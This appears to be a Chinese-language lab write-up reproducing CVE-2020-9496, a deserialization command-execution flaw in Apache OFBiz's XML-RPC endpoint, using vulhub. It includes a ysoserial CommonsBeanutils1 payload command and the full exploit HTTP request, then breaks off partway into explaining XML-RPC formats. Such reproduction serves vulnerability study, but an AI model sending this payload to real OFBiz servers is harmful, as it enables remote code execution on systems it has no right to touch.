Apache OfBiz 反序列化命令执行漏洞&分析（CVE-2020-9496）

解决了一天gradle的报错，最后发现vulhub本身开了调试端口的…..

最后还是没搭建成功，就远程调试吧（gradle项目搭建真的报错太多了）

漏洞描述

Apache OFBiz是一个非常著名的电子商务平台，是一个非常著名的开源项目，提供了创建基于最新J2EE/XML规范和技术标准，构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞，攻击者利用这个漏洞可以在目标服务器上执行任意命令。

环境搭建

1 2	cd vulhub-master/ofbiz/ofbiz/CVE-2020-9496 docker-compose up -d

访问https://192.168.248.129:8443/accounting/control/main

漏洞复现

使用yso生成payload

1	java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success" \| base64 \| tr -d "\n"

发送如下数据包

POST /webtools/control/xmlrpc HTTP/1.1
Host: 192.168.248.129:8443
Content-Type: application/xml
Content-Length: 4133

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">base64code</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

进入容器，查看文件

漏洞分析

每个XML-RPC请求都以开头，该元素包含单个子元素method，元素包含子元素，可以包含一个或多个元素。如：

POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0" encoding="utf-8"?>
<methodCall> 
  <methodName>examples.getStateName</methodName>  
  <params> 
    <param> 
      <value>
        <i4>41</i4>
      </value> 
    </param> 
  </params> 
</methodCall>

几种常见的数据类型

<!-- array -->
<value>
  <array>
    <data>
      <value><int>7</int></value>
    </data>
  </array>
</value>


<!-- struct -->
<struct> 
  <member> 
    <name>foo</name> 
    <value>bar</value> 
  </member> 
</struct>